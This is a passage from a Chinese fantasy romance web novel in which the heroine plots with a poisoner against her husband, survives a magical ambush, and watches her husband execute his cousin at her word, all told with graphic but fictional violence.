程今越和萧盼兮一路往外走,聊着家常八卦,过了许久,程今越竟然发现萧极的气息消失了,跟她得到的消息一样。 她应该去找月如仪了。 程今越方这么想,一个身材高挑,容貌出众的女子便站在了程今越面前。 对方穿着鲜红的衣裳,头发束成高马尾,正朝她一边招手一边笑。 萧盼兮和明舒云离去,给二人留了空间。 但一个高大的身躯却挡住了程今越的去处。 孟朝。 月如仪轻笑,她轻轻挑眉,“程今越,我在前面的凉亭等你,你们先聊,我不赶时间。” 话落,她便消失在视野之中。 跑得真快…… 月如仪就是这种唯恐天下不乱的人。 四周寂静,只有孟朝站在她的面前,对方有些沉默,一双眼睛看着她。 很久没见了,孟朝比从前瘦了一些。 “你找我有事吗?”程今越开口。 像是陌生人一般的开口,让四周都冷了下来。 孟朝的心中随着这句话而微颤。 “三小姐,好久没见了,萧极对你还好吗?” 孟朝小心翼翼地开口,像从前一样,他的目光温柔得像破碎的月亮。 程今越轻轻笑着,“孟朝公子,我过得很好。” “我的夫君待我极好,我也十分爱他。” “我听说青岩山如今在你的带领下已经更上一层楼了,想必孟朝公子如今也过得不错。” “我们都在往好的方向走,真好。” 她和孟朝保持着距离,脸上保持着笑。 “不。” 孟朝却突然说。 月色落在他的身上,高大的孟朝却显得有些落寞。 “三小姐,没有你在,我过的每一天都很痛苦。” 他的声音很轻柔,喉咙哽咽着。 程今越愣住了,虽然她也早就预料到这一天迟早会到来。 她摇摇头,风吹起她的长发。 “孟朝,没有谁是离不开谁的。” “是,您说得对,三小姐。” “我总是会想起以前,想起我还是无名小卒的时候,是三小姐将我从深渊里拉起来。” “那个时候,日子每天好像都过得很慢,我每天都能见到三小姐,是三小姐给了孟朝活下去的希望。” “孟朝从前,看到有人欺负三小姐,我便会更加下定决心,为三小姐复仇,于是后来,我终于杀了他们。” “不瞒您说,我总是会想,想那时我是不是不够勇敢,或许我那个时候,我就应该带三小姐走。” “或许……结局是否又会不一样呢?” 他的声音淡淡的,脸上依旧带着笑,不曾靠近程今越一分,和从前一样知道分寸,有礼。 这些话其实已经是他此生最逾矩的事情。 程今越却摇摇头,“过去的事情,其实就让它留在过去就好了。” “我们现在都过得很好,不是吗?” 程今越心中轻笑着。 孟朝如今是这样想的,那之后呢? 人总是局限在自己的回忆与懊悔之中。 其实这一切早就命中注定好了一切。 她和孟朝注定不会有什么结果。 因为程今越从来不缺追随者。 不是追随者选择程今越,而是程今越选择他们。 孟朝如今还不知道,他最厌恶,他憎恨的那种人,其实就是程今越,甚至骗了他那么久。 无知者从口中说出的话,总是带着一些天真与好笑。 孟朝已经明白了程今越的意思。 对方已经把话说得很明白了,孟朝并不愿意把关系弄成很僵的地步。 程今越怎么想的没有关系,他的感情是永远不会改变的。 “三小姐,孟朝明白了。” 虽然心里早就已经想好,甚至从几个月前便已经开始构思这些话,但是话真的落到了嘴边,又开始不断转弯。 “那便祝三小姐新婚快乐。” “孟朝始终在这里,永远是三小姐的侍卫。” 他苦涩地笑着,声音不住地颤抖。 孟朝紧紧咬着牙,竭力控制住泪水,低着头,不让程今越看见自己窘迫的模样。 …… “三小姐,你真是好狠心啊。” 月如仪笑着。 程今越脸上的柔和瞬间消失,嘴角勾起一抹冷冷的笑。 “请。” 第96章 没有人可以相信。 月如仪蹙着眉,“三小姐,你怎么对别人就是温温柔柔的,偏偏对我就摆着一副冷脸,三小姐是不喜欢月如仪吗?” 她脸上带着调侃的笑,一双眼睛看着程今越,顺手给程今越倒了一杯茶。 程今越闻声突然笑起来。 四周月色朦胧,亭边是波光粼粼的莲花池,红色的鱼在池中游荡。 远处的声音变得格外淡,笙歌乐舞都在远处。 程今越挑起眉,眯着眼。 “不,月如仪,我一直都很欣赏你啊。” “不然我今天便不会来了。” 她轻轻坐下,月色落在她白皙的脸上,别添清冷。 “月某竟然能够得到三小姐的欣赏,这可真是受宠若惊。” 月如仪面露惊讶之色。 “实不相瞒,月某一直都觉得三小姐是个很有意思的人。” “从很早以前,我便想和三小姐坐下长谈,可惜缘分不到,一直都没有这个机会啊。” 她朝程今越举杯,她的杯中是酒香,但程今越杯中的是茶。 程今越不喜欢喝酒,她知道。 “月如仪,你我之间,又何必这样客套呢?” “我喜欢直接了当一点呢。” 程今越也举杯,喝下这杯清茶。 月如仪却轻笑,“三小姐不用这么着急,我相信三小姐,三小姐也应当信任我。” “那是自然。” 程今越嘴唇轻扬,眼眸澄澈。 等月如仪死了,她一定会从骨子深处信任她的。 月如仪顿了顿,终于不再绕弯子。 “三小姐想必一定很好奇,我为什么还活着,又为什么知道那么多。” 她轻轻凑近程今越,几个字缓缓从她的唇里轻声流露而出,落到程今越的耳畔。 “因为天命。” “程今越,是天命让我们相识。” “我从三岁开始学医,世人告诉我,月如仪,你应当将此生的心血放在医修这一条路上,悬壶济世,救助苍生,然后辅佐你的哥哥,帮助他让炼月阁走得更远。” “程今越,如果换做你,你会怎么做?” 她抬头看向程今越。 程今越敛眸,坐得端正,黑色的长发遮住她的眼睛。 “我以为你足够了解我呢。” 她并不正面回答,只是笑着,眼眸微微笑着。 面容温柔清冷,但却给人朦胧的距离感。 月如仪对程今越的回答并不恼,只是轻轻点头,“我想,程今越。” “我们应当是一路人。” “我们走到一条路上,这一条路的名字叫做‘不甘’。” “悬壶济世?名声是最没用的东西。” “待我功成之时,自有大儒为我辩经。” “所以我的哥哥意外去世了。” “真可惜啊,只好由我来接任少主这个位置了。” “可惜医药,还是太过没用了。” “弱,便是这个世间最大的罪。” “所以我自学了毒道,略有小成。” 她轻轻摊手,面露无奈之色,又喝了一口酒,脸上的笑格外吸引人。 傲慢又自信。 恶种。 衬得程今越更加瘦弱无辜,发丝间透着冷色的月光。 “你想知道魔君大人是如何轻而易举地夺舍萧砚修吗?” 她突然说。 程今越沉着的眸子突然抬起来,笑着看着月如仪。 对方继续说着。 “在无定界界主大人的眼皮子底下,狸猫换太子。” 程今越心中有些诧异。 她的确是没有想到这一层,但也并未有过太多惊异。 因为这世间,有野心有能力的人,可不止她一个。 她随时等待危险,也随时期待奇迹。 不过这也很好地解释了月如仪为什么从怀钰的手中活下来了。 因为他们合作了。 可能还在更早之前。 “当然,这一切的根源还是要靠三小姐。” “因为谁能想到,这世间的男男女女竟然有这么多都倾心于三小姐,从平民到皇帝,从魔神到仙界魁首,性格各异,身份各不相同,但总是会不约而同地爱上三小姐。” “不过爱上三小姐,臣服于大衍神女,实在是一件理所应当的事情。” “就连月如仪都无法避免呢。” 她笑着,抬眸看着程今越,与她对视,眼神中带着缱绻。 “今越真是受宠若惊啊。” “少主还是同往常一样幽默。” 她面色不为所动,依旧是那淡淡的笑容。 怎么会有人这样巧舌如簧,见人说人话,见鬼说鬼话。 真想把这条舌头割下来,看看月如仪以后还怎样嚣张。 “我给了魔君一粒药,但是否能夺舍萧砚修,还得看命。” “你看,命就这样站在我们这边,萧砚修爱三小姐爱得神魂颠倒,只要有一处深刻的情绪或记忆相通,夺舍便能轻易完成。” “悄无声息,甚至被夺舍后身上还会保留着原来的气息,血液,修为。” 程今越点点头。 “少主果然比传闻之中还更有手段。” “和少主合作,或许是我做过最正确的选择。” 此话一落,双人对视着,一红一白,四周静谧无声。 谁都懂得了对方的想法。 她们其实没有什么一定要绑在一条船上的理由,所以这场合作也是极其充满冒险。 双方都非良善,人人的手中都沾满了血腥。 谁都不清楚谁隐瞒了什么,什么时候又会背叛。 但有一项是正确的。 她们都是赌徒。 月如仪将一根簪子放在桌上,一只白玉银簪,雕成了玉兰花的模样,格外符合程今越的气质。 她看着程今越,将簪头的玉兰轻轻掰开,只见一个小孔露出来,月色之中看不清楚。 月如仪将孔中的粉末轻轻倒在手中,轻盈如灰尘一般,无色无味。 “天下之势,久分必合,久合必分,我们都讲三十年河东三十年河西。” “界主已经是这百年间的神话了,什么时候会有新的神话涌上来呢?” 她说完,手一挥,将簪中重新填满粉末,又将玉兰簪头恢复原样。 她将玉兰银簪推到程今越的面前。 “这一切,神女殿下说了算。” 程今越看着月如仪,并没有立刻收走玉兰簪。 “这是魔君大人的意思吗?” 她问。 “三小姐竟然连这个都要问月某,可真是要让魔君大人伤心了。” “魔君大人怎么会让三小姐去做这样危险的事情呢?” “但……三小姐,你真的信任他吗?” “萧极可不是那么好杀的。” “他强得要命,就是一个怪物。” “从正面来说,没有人是他的对手,他心思缜密,心狠手辣,行事果断,修为高深。” “但,除了你。” 月如仪的手指着程今越。 “萧极动心了。” “趁这个时候杀了他,一击毙命。” “这不就是你想要的吗?” “我们等不到魔君大人杀掉萧极了。” “那个时候,魔君必然会毁掉破魔铃,从今以后,再没有任何人能与他为敌。” “程今越,你真的相信感情吗?你真的相信他对你的爱吗?” “你抛弃了魔神,欺骗了魔神,你认为,他对你到底是是爱更多一些,还是恨呢?” 月如仪的声音不急不慢,声音沉沉,带着蛊惑。 “但如果你先杀了萧极,你与他有婚契,你们是天地可鉴的夫妻。你是他的夫人,她死后,你便是无定界权力的掌握者。” “拿到破魔铃,用你的血,配合我的毒,魔神永无翻身之日。” 她将计划侃侃道来,看着程今越的反应。 但是程今越的面上依旧平淡,没有一丝的变化,恍若清风明月的淡然。 好处说完了,那月如仪要什么呢? 纯献善心,做好事,鬼都不信。 只是一个眼神,月如仪便能懂程今越的意思。 “很简单,我要曾经的大衍剑宗,我要将炼月楼与剑宗合并,最重要的是,我要璇玑楼。” “届时,新的三大仙门,便是无定界,炼月楼,和那即将衰落的青岩山。” “嗯……青岩山也是神女殿下您的,不是吗?” 这并不算什么过分的要求。 但也充斥着野心。 程今越只是笑着,喝完了杯中的茶。 然后将玉簪收入囊中。 “我们来日方长。” 她笑着,月色落在她的眼眸之中,映衬出刀锋般的冷。 “来日方长。” 月如仪站起身,她轻声,随后变得透明。 程今越这才发现,月如仪根本就没用本体,这只是一个分身。 她转身就要走,月如仪的声音却在身后传来,“程今越,小心宴会中任何一个人哦。” 最后声音慢慢消散,月如仪彻底消失在了视野之中。 四周一片静谧,只有风吹动湖水的声音。 程今越顺着小路往回走着,灯火阑珊,在这个季节,竟然也有萤火在空中飞舞,荷香蔓延,沁人心脾。 她听到她的随从唤她的声音,对方站在不远处,正朝她一路小跑过来。 是两个不大的姑娘,一个叫黄桃,一个叫落花。 “夫人,我们在这儿!” “盼兮小姐还在那边等着我们呢!” 熟悉的脸快要走到程今越的面前。 带来的却是陌生的气息。 程今越停住了脚步。 她还是低估了对方的胆子。 看出了程今越的踌躇,对方显得有些疑惑。 “三小姐,怎么了,是有什么东西忘拿了吗?” 程今越唤着无定界的暗卫。 …… 竟然没有反应? 她的感知迅速往外蔓延,如蛛网一样延伸。 在不知不觉间,这里竟然被结界包围了。 但这依旧不是她联系不上暗卫的理由。 无定界的暗卫修为高深,只要唤下,下一秒,对方便会化作一滩血水,从未出过错。 冷汗从程今越背后升起。 她接连唤了两三次,竟然真的收不到回应。 神识的联系被这强大的结界硬生生切断了。 这可是萧极给她的法器,谁的修为能与萧极一拼? 程今越立马想起来,其实不是从来没有出过错。 魔神怀钰是可以切断这神识的。 “夫人?” 熟悉的面孔如淋了雨一样,五官开始异化,但脸上的笑容却毫不改变。 格外狰狞恐怖。 长剑亮出,只是呼吸之间,剑光刺向程今越。 第97章 “你对你的嫂子倒是格外热心呢。” 刀剑铮鸣。 一道凌冽的剑光瞬间挡在程今越身前,擦出电光火石。 程今越一瞬间头脑嗡鸣,剑碰撞的声音要撕裂她的心脏。 猛烈的剑气在空中荡开一层涟漪,将程今越往后推,她瞬间没站稳,险些狠狠地跌落在地上。 此时,一双温暖宽厚的手抓住程今越的肩膀,她瞬间倒在一个厚实的胸膛之中。 “呵——” “我看你们真的是胆大包天啊。” 懒散带笑的声音从程今越的身后响起。 对方瞬间诧异地抬起头,浑身僵硬。 看到来人面貌之时,面露惊恐之色。 程今越瞬间回头。 只见少年高束马尾,黑色的刘海微微遮住双眼,薄唇带着笑,一双锐利的眼睛如今含着水色看着程今越。 他手上拿着长剑,在月色下透着寒光,剑柄上挂着红色的剑穗,一颗血色的珠子串在其中。 怀钰甩出剑,这把剑瞬间在空中化作两把,划过长空,带来嗡鸣的声音,稳稳地落在对方二人的胸膛之中。 剑还在飞,带着人,贯穿着身体,一直撞在远方的墙上。只听见轰隆一声,墙面碎裂,落成一个大坑。 血瞬间溅起,喷涌而出。 狠厉、果断、强悍无比。 “你们知道你们要杀的人是谁吗?” 怀钰笑着,眼眸之中充斥着恶劣。 “到底是谁这么蠢,来让你们来刺杀我的嫂嫂的?” 他神色吃惊,看向面前二人。 一瞬间,天空破碎,听见清脆的破碎声后,眼前景象破碎,她还待在刚刚那个亭中。 原来早在她在亭中的时候,这道结界便悄无声息地将她纳入其中了。 好厉害的手段,这一定不是常人能够所为。 程今越身为长明族,最擅长的手段便是探查气息,对方却趁她在与月如仪商议,不能全心全意控制灵根,竟然让她毫无察觉的情况下进入了这个结界之中。 月如仪的那一句话“小心宴会中人任何一个人”还在程今越耳边环绕。 她早就知道了这件事,也一定参与了。 但是她却又心怀鬼胎,想要和程今越合作。 因为她知道,程今越根本不会出事,怀钰会来救她。 就算怀钰没有来救程今越,月如仪或许也不会有任何怜惜。 因为杀死萧极不是什么简单的事情,大部分人甚至想都不敢想。 若是在这种关头就死了,或许还不配和月如仪合作呢。 程今越突然笑起来,清冷的月色下,衬得她的笑别添几分诡异。 “嫂嫂,还好吗?” 他低眸看着怀中的程今越,浓密的睫毛在眼睑上投下一片弧形的阴影,柔软,仿佛方才周身嚣张的杀意是虚假的一般。 程今越眼眸一冷,冷笑着从怀钰怀中挣扎而出。 对方也并未阻拦她。 毕竟这个结界已经破了,到处都是眼睛。 声音不小,其他的人应当也快赶过来了。 程今越微微蹙眉,“一会儿去把月如仪杀了。” 她笑着,声音轻柔,恬淡,比这月色还轻。 “好。” 怀钰没有一丝犹豫,他笑着应下,看向她的眼神是不加掩饰的缱绻。 月如仪要死,萧极也还是要死。 所有人都得死,她一个都不会放过。 两具浑身模糊带血的身体躺在地上,被两把剑插在地上,痛苦地蠕动挣扎着。 但是没有一丝痛苦的声音传来,怀钰仔细一看,原来是二人的舌头被割掉了,喉咙里面也被烫水烧烂了。 程今越对他不加理睬,只是抬头望着前方的两人。 身体已经完全变形,露出原本男人的模样,骨骼高大,面孔混乱,五官还在往下流着,格外恐怖。 尽管受了这样重的伤,气息依旧尚在。 四周传来脚步,众人窸窸窣窣从远处的宴会赶来。 明云舒得到消息赶来的时候,便看到程今越脸色苍白地站在一旁,由一个模样出众的少年扶着。 地上全是血,有两具尸体躺在地上。 鲜血流淌在地上,两具尸体血肉模糊,内脏与肠子从伤口处涌出,红红白白的东西从中流出来,血腥气四溢,让她忍不住干呕起来。 明云舒吓得浑身战栗,她呼吸都快暂停,心脏跳到了嗓子眼。 “这是怎么了?” 她四处张望着,所有人都面色迷茫,不知所措,显然没有任何人能够回答她。 明云舒脑子飞快转着,她连忙朝程今越走去,想要安抚她。 漂亮的少年却冷睨着她,一把带血的剑指着明云舒。 “别碰我嫂嫂。” 对方声音清冷,带着嫌恶。 “小越,别怕,你快过来,我们都在这,不会有事的!” 她朝程今越望去。 程今越却害怕着,愣愣地看着她,还未从恐惧之中脱离开。 “我让你滚,听不懂吗?” “再过来你也去死。” 少年的剑再一次提起来,满身的杀气凛然,吓得明云舒忍不住后退了几步。 她这才抬起头仔细看着站在程今越身旁的少年。 面容格外漂亮,剑眉斜飞,双眸锐利,最引人注目的是他右眼下一颗血红色的泪痣。 少年神色冷淡,看向程今越的时候却格外细腻。 他叫程今越嫂嫂…… 明云舒知道了,这是萧砚修。 她再也不敢多说一句话,连忙回归人群之中。 关于萧砚修,她听了太多的故事,完全是个狂傲不羁的纨绔公子,视人命如草芥,娇生惯养。 明云舒完全相信,如果她真的再往前一步,萧砚修一定会杀了她。 “明小姐,你不如解释一下今天的事情呢?” “丹心阁连两个刺客都拦不住吗?我竟然不知道还有一个宗门能废物成这个地步。” “这样的宗门,还有什么存在的必要呢?” 他的声音冷冷,手中的剑仿佛随时要朝她刺来。 “不是这样的,您听我解释!” 怀钰打断她的话。 “又或者说,是宴会众人里应外合,勾结刺客,还是说这刺客就是在座的人的安排的呢?” 他声音缓缓,笑着环视过所有人,眼眸冷得让所有人都为之一颤。 明云舒浑身一颤,这个问题终于问了出来,最让她担惊受怕的问题。 宴会之中谁出问题,最紧张的必然是她这个宴会举办者。 可是她真的不知道,她真的不知道啊! 真的不是她做的! 明云舒贪财好名声,她自认为自己也不算什么高尚人士,但是她就算是吃了熊心豹子胆也不敢做这种事情! 她还不想死! 所有的目光看向明云舒,她瞬间抵抗不住压力,泪水从双眸涌出。 她颤颤巍巍地摇头。 “我不知道,我真的不知道!我一定会找出凶手的!” 此时,所有人围成一圈,萧盼兮从一群人中冲出来。 看到眼前的震撼的一幕,她瞬间惊叫起来,然后飞奔向程今越。 “这是……怎么回事!” “嫂嫂,嫂嫂,你没事吧!” 她脸色惨白,神色惶恐。 怀钰挡在程今越身前,“别过来。” 他冷冷的。 “萧砚修,你发什么疯,小越也是我的嫂嫂!你想干嘛!” 萧盼兮一脸震惊地看着怀钰,满脸不可置信。 明明前些日子还在对程今越大打出手,要程今越去死。 今日怎么就将程今越护得这么紧? 萧砚修自从碰见程今越后,就总是发疯。 原本的疯症便已经不寻常了,现在更是恐怖至极。 就连她也不敢随意靠近萧砚修。 萧盼兮将目光移到程今越身上,程今越却神色惶恐,好像没有看到她的目光一般,应该是被吓坏了。 她紧紧攥着手。 看向地上的两具尸体。 不,不能说是尸体。 虽然已经血肉模糊。 但是还没死,尚有一口气息。 她连忙想上去查看。 却被一把突如其来的剑阻拦住,剑上鲜血淋漓。 她迅速回头望去,看向剑的主人,怀钰面色冷冷。 “别碰。” 两个字从他嘴里冷冷吐出。 “你到底要做什么?这二人是罪魁祸首,小越是我的嫂嫂,我不查看,还有谁更有资格查看?” 她大声嚷着,愤怒地看着萧砚修。 “我。” 淡淡的声音从远处传来,声音很浅,但却传到了每个人的耳朵里面。 所有人朝后方望去,然后心中一惊,接连让出一条路,皆恭敬地低着头。 “哥!你来了!” 萧极站在远处,深冬之中,他只穿了一袭月白的锦袍,身姿挺拔如松,薄唇微抿,从来好整以暇的脸上带着一丝阴冷。 黑眸沉沉,没有含一丝笑意,像深不见底的湖水。 他步履缓缓,走路没有声音,眼神冷冷地瞥过众人,看了一眼明云舒,又看了一眼萧盼兮。 他瞥过地上的还带着口气的尸体。 “好热闹啊,看来我方才是错过了什么精彩。” “杀人杀到我面前来了啊。” 他轻轻笑起来,冷淡之中带着戏谑,让人背后发冷。 萧极最后将目光直直地盯向怀钰。 看着怀钰拿着一把剑,站在脸色苍白的程今越身旁。 程今越身姿瘦弱,格外单薄,而他的好弟弟身姿颀长,拿着一把剑,挡在他的夫人身前。 意气风发的少年保护柔弱的少女,像是话本子的剧情。 郎才女貌,真像是天造地设的一对啊。 他心中微微下沉,一种莫名其妙的感情在他的心口涌起。 这是从未有过的感情,所以萧极一时之间还没有反应过来这是什么。 程今越抬起希冀的眼眸看向萧极,眼眸微红,泪水快要从中涌出。 “萧砚修,你真是热心呢。” 萧极的眼睛笑着看向怀钰。 他身上的压迫感让人几乎喘不过气来。 怀钰和萧极对视着。 四周寂静,所有人的心都悬着。 略有些剑拔弩张的意思。 “保护嫂子,是我应该做的。” 怀钰笑着。 第98章 “你想要谁死,谁就死。” 萧极听到怀钰的这一句话,突然笑出声。 “那你倒是挺快的,昼夜不停杀了十几批魔物,又从两界交界处一路奔波到无定界,又恰好赶在你嫂子出事的时候,可真是如及时甘霖啊。” 他嘴角轻扬,眼眸之中如冰窖一般冷。 谁都听得出来其中的深意。 众人都抬起头,心中一惊,好像知道了什么秘闻一般,眼珠子轱辘轱辘转着,传递着各自的心思。 但碍着萧极还在这里,没有一个人敢说话,甚至连眼神都不敢交流,都只低着头,毕恭毕敬。 兄弟相争,多么狗血的戏码,竟然会在萧氏之中出现! 在月色下,一群人像一只鸟雀佝偻着,四周寂静,就连歌舞也停了。 怀钰好像没有听出这句话的意思一般,只是笑着,散漫地站着,风轻轻吹着他的长发。 他略略地低着头,“哥要和嫂子成婚了,这是天大的喜事,我这个做弟弟的,自然要抓紧时间赶回来。” “萧盼兮每天都催我回来,我说哥哥让我去边境杀敌,那我自然要尽心尽力,必然要把哥哥交代的事情做好。” “哥哥一点头,我这不马上赶回来了。” 怀钰抬头看了一眼神色复杂的萧盼兮,带着随意的笑。 “哎,没办法,之前惹了嫂嫂不开心,做了对不起嫂嫂的事情,总得报答些什么吧。” 众人神色慌张,怀钰却明朗着,毫不在意四周的情况,若是不知道的,还以为是在什么热闹的家宴上。 若是按正常情况,普通人已经死了,但是萧砚修死了,那群人总是不消停。 所以萧砚修应该一辈子都在仙魔两界处回不来了,但是萧极做了一个例外的决定。 他的内心燃起了一种莫名的欲望,他想要所有人知道,他要和程今越成婚了。 这真是一个很可笑的想法。 就连他自己也觉得好笑。 像是孩童向他人炫耀自己的新玩具一般,幼稚,可笑。 从前的萧极是绝对不会这样的。 但是为了程今越,他愿意这样。 他会宴请孟朝,宴请所有爱慕程今越的男子,如果那只魔种不是格外难对付的话,他甚至也想请他成为座上宾。 萧极也随着怀钰笑起来,随后他点了点头。 “那今天真是谢过砚修了啊。” 一群黑衣卫从众人身后鱼贯而入,数量众多,将所有人团团围住,又有头目几人往前走,站在怀钰身侧。 气氛变得更加紧张,只有兵甲碰撞的声音,人们变得不敢呼吸。 人人自危。 谁都知道听闻萧极的性格,喜怒无常,杀伐果断,从不在乎人命。 萧极随时都有可能把他们所有人全都杀了。 萧极朝程今越挥挥手,“小越,过来。” 所有人的目光随着这一句话看向程今越。 程今越眼中氤氲,眼尾泛红,随后立刻点了点头,小快步走向萧极,随后害怕地拉着萧极的手,心有余悸一般,脸色苍白。 怀钰目送着程今越从自己的身边走向萧极。 萧极甚至没看他一眼。 怀钰只是笑着。 萧极将程今越抱入怀里,环住瘦弱纤细的腰,将程今越的头埋在温暖的胸口之中。 “没事吧?” 程今越颤抖着,触碰到萧极的那一刻,像是落水的人抓住了稻草,泪水从眼眶溢出,大颗大颗落在脸上,呜咽声从她的喉咙里发出,脆弱又可怜。 尽管萧极明明已经知道程今越演技极佳,但是每当程今越哭泣的时候,他都忍不住心随之一动。 不重要了。 他已经精心算计了那么久。 有时候不懂也不是一件坏事。 如果是对程今越的话。 他看也没看其他人,只是轻轻将程今越打横抱起,骨节分明的手轻微用力,能看到手臂上的肌肉线条。 “别怕,我会处理好一切的。” 手下的侍卫接手了所有现场,修为深厚,剑出鞘,没有一个人敢动弹。 只是一瞬,萧极将程今越带回了丹心阁的大厅之中。 医修早早地候着了,也是有萧氏血脉的人。 方才到达丹心阁之中,程今越便觉得喉咙之中有铁锈味不断往上涌,五脏六腑皆传来剧痛。 这道术法竟然悄无声息地进入了她的身体之中,她竟然没有一丝察觉。 出结界的时候毫无感觉,也并未发作,而是过了好一阵才发作。 看来对方是必须要她死了,真是有够恨她啊。 一口鲜血从她的喉咙之中涌出,她瞬间无力地快要倒在地上,萧极立马将她扶住。 他心跳瞬间在这一刻停止,从未有过的,他大脑一片空白。 “来人!” 吓得四周的医修连忙赶过来为程今越医治。 程今越紧紧咬着牙,保持着清醒。 医修都是仙界之中的翘楚,程今越的伤势还可以控制。 萧极站在一旁,双眸冷冷,看着躺在床上的程今越,四周的气氛低到了极点,所有人低着头,不敢出一点差错,也不敢说一句话。 谁都没有想到,从来柔弱的程今越如今却连泪都流一滴,全程竟然没有开口喊过一句疼。 她脸上苍白地躺在床上,黑色的长发散落在肩上,头上的发髻有些乱。 随着几颗丹药下肚,温暖的灵力传至她的全身,疼痛逐渐消散了下来。 “夫人没有受到外伤,但是这结界格外狠毒,侵入了夫人的五脏六腑,甚至损害了灵根,夫人本就身体羸弱,到底是伤到了根本……” 对方毕恭毕敬,一连说了许多。 萧*极点了点头,四周的人全部退去。 萧极没有开口说话,他只是直勾勾地看着程今越,看着她苍白的脸。 程今越能感受到萧极的心情极差。 四周寂静,程今越甚至听不到外界的声音,只能听到二人的呼吸声。 良久。 她忍不住了,准备开口,萧极却立马打断了她的话。 “程今越,从今天开始,你只能待在我的身边,一刻也别想逃离我。” “如果我不在,你不能踏出无定宫一步。” 他冷冷地开口,这是命令,无可反抗。 “你疯了吗萧极?” 程今越抬眸看着他,满眼难以置信。 “是。” 他平静地看着程今越,微微笑着。 程今越纤细、柔弱,像是一只可怜的兔子,需要人的保护。 萧极觉得自己疯了,他的心随着程今越的一举一动疼着。 看到程今越受伤,萧极快要无法思考。 程今越是他的所有物,没有任何人可以挑战他的权威,没有任何人可以在他的手下伤到程今越。 杀戮欲从他的心里油然而起,但仅仅是这样还不够。 他将程今越抱在怀里,脸上面无表情。 只要看到程今越此刻楚楚可怜的模样,萧极便会越想起其他男人看着程今越的眼神。 他的夫人是如此脆弱,这些男人争先恐后地要来保护程今越。 凭什么…… 占有、保护、控制,所有的欲望都在他的心中疯狂生长。 “你只需要乖乖地待在我身边就好了。” “不会有人再伤害到你了,所有伤害你的,觊觎你的,我都会一一杀掉。” “你想要什么,我都会帮你做到。” 萧极的声线沉沉,他死死地将程今越抱在怀里。 程今越受着伤,没有任何力气反抗他。 她被迫将头倚靠在萧极的肩上,程今越的头发散落在肩膀之上,萧极忍不住伸手抚摸着她的头。 程今越的头上多了一把簪子。 “我想要什么,你都为我做到?”程今越笑着,像是自嘲。 “是。” “那今日呢?” “我会替你复仇。” “不论对方是谁?” “不论是谁。” 他斩钉截铁。 今天这一场,就是鸿门宴。 对方拿捏好了萧极不在这件事,所以对方是对萧极的行程格外了解的人。 这个结界不是一般人能够设下的,修为格外高深,甚至能够阻隔暗卫与程今越的联系。 说明对方要么对暗卫格外熟悉,要么修为是一等一的高。 并且对方格外地恨程今越,如果在结界之中杀不掉她,还有这一道术法等待着她。 对方几乎是下了决心要杀了程今越,甚至根本不畏惧萧极。 除了萧盼兮,又还有谁呢? 一个家族之中,是出不了两种人的。 萧极能生长成这样扭曲阴暗,人面兽心,视人命如草芥,一定不止是生来如此。 她以前就知道萧砚修不是正常人,那萧盼兮又会是什么正常人呢? 就算没有月如仪的提醒,程今越也格外清楚。 月色下,程今越脸色苍白,她坐在高位上,盖着毯子,身上披着狐裘,萧极站在她身旁。 所有人都被侍卫控制住。 程今越脸上面无表情,萧极紧紧地握着她的手,脸上带着笑。 让人不寒而栗。 “你说,你要谁死,谁就死。” 他低着头,温柔地看着程今越。 此话一出,所有人震惊地抬头,所有目光都齐刷刷地看向程今越。 “夫人!真的不是……” 一人站起身来,朝程今越乞求着,可话还没有说完,身体瞬间四分五裂,五脏六腑爆裂开,痛苦的尖叫瞬间传来。 在肉眼可见的时间里,化作了一滩肉泥。 萧极将食指放在唇上,示意众人噤声。 脸上带着笑。 月色朦胧几丝,显得程今越的面容更若观音,萧极上位者的压迫感更为明显。 程今越静静的,面容慈悲,面对化成肉泥的人,没有哭闹,只是看着众人。 这是这慈悲更像是一层薄薄的轻纱,随时会如镜子一般碎裂,异化成和萧极一样的怪物。 众人心中最后一根稻草彻底湮灭。 程今越没有说话,指着萧盼兮。 “就她吧。” 安静的少女突然笑起来。 第99章 谁会想到,连萧极都会有软肋呢? 所有人顺着程今越的手朝萧盼兮望去。 萧盼兮眼眸瞪大,迷茫地看着程今越,仿佛自己听错了什么一般。 “为什么……?” 她话音未落,一道长剑贯穿了萧盼兮的胸膛,她的身体向后仰倒,浑身的骨骼都发出清脆的喀嚓声,鲜血从她的腹部涌出,甚至四溅到周围人的身上。 有胆小的已经控制不住情绪,瞬间嚎啕大哭起来,瘫倒在地,浑身发软,嘴里念叨着“不要杀我……” 狠厉、果断、决绝、毫不犹豫。 没有给一丝反应的机会。 一剑,一剑,又一剑,在萧盼兮的身上来回捅着,带着红白的血肉不断往外流着。 萧盼兮终于一把抓住那把剑,浑身颤抖着,指节发白,用法力扼制住了这把剑,身上的血肉传出被腐蚀的味道。 血腥的场景格外狰狞,孟朝情不自禁看向程今越,神情担忧。 三小姐是多么温柔善良的人,便是见到猫猫狗狗受了伤,都是要泪流满面的人,又怎么见得了这样血腥的场面。 他想向前迈步,像从前一样,用手遮住程今越的眼睛,去安慰三小姐没事的。 可现在,他不仅没有了这个资格。 更让他头脑空白的是。 程今越只是静静地坐在那里,敛眸,双手静静地放在膝上,神色恬静如水,黑色的长发随风飘逸着。 瘦弱的少女嘴角带着淡淡的笑意,眼眸一眨不眨。 眼前的一切猩红与哭喊仿佛跟她没有任何的关系。 孟朝怔住了。 月色下,萧盼兮轻轻咳嗽着,所有的污秽带着血从她的喉咙之中涌出。 “表哥,你要杀我……?” 萧盼兮充血的双眸死死地盯着萧极和程今越,全身上下都是血。 萧极的脸上没有任何的变化,带着一抹隐晦的笑,黑眸一眨不眨地看着萧盼兮的挣扎,仿佛在看一个陌生的生物。 他缓缓地抬起手,像是判官一样,要为萧盼兮再添上最后一道术法。 程今越却轻轻地抓住了萧极的手。 “夫君,我怕鬼。” 她蹙着眉,微微咳嗽了两声,黑色长发衬得她的脸色苍白无比。 程今越嘴角轻抿,“走得明明白白一些,或许就没有那么多怨气了。” 她将眼眸缓缓滑向萧盼兮。 “好。” 萧极回握住程今越的手。 另一把剑出现,再次贯穿萧盼兮,血肉撕裂的声音传入每个人的耳朵里,带着她满是窟窿的身体,狠狠地钉在墙上。 轰隆一声传来,是血肉碰撞在墙上的声音。 所有人不敢大声说话,都低着头颅,生怕什么时候这个人轮到自己。 萧盼兮疼得缓了好久才回过神来。 她突然诡异地笑起来,嘴角勾起,带着血的牙齿露出来,和从前的天真烂漫的那张脸格外割裂。 随后她开始低沉地笑起来,笑声一串又一串。 “表哥,你竟然要为了一个相识不久的女人杀了我吗?” 她难以置信地看着萧极,面容格外可怖,像是厉鬼一般。 